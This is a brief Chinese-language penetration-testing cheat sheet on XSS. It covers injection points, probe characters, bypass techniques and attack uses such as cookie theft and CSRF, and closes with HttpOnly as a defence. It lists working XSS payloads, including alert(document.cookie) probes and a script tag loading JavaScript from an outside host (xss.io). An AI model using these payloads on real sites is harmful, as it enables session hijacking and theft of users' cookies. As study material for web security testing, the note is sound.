渗透测试——xss漏洞

xss漏洞存在位置

1. 存在输入点
2. 输入内容被放入html代码中

xss检测机制

'"<>&空格 \\看有没有逃逸
常用语句
"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)
<script>alert("XSS")</script>
<script src="http://xss.io/a.js"></script>
<div onclick="alert('xss')">
<div onmouseenter="alert('xss')">

xss绕过方式

1. 大小写绕过
2. 双写绕过
3. 利用其它标签构造代码
   本质上是利用js事件
   document.referer属性
   window.name属性
   location属性
   innerHTML属性
   documen.write属性
4. 编码绕过

xss的利用

1. 劫持访问
2. 盗用cookie实现无密码登录
3. 配合csrf攻击完成恶意请求

HttpOnly

如果cookie中设置了HttpOnly属性，那么通过js脚本将无法读取到cookie信息，这样能有效的防止XSS攻击，窃取cookie内容，这样就增加了cookie的安全性。

Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]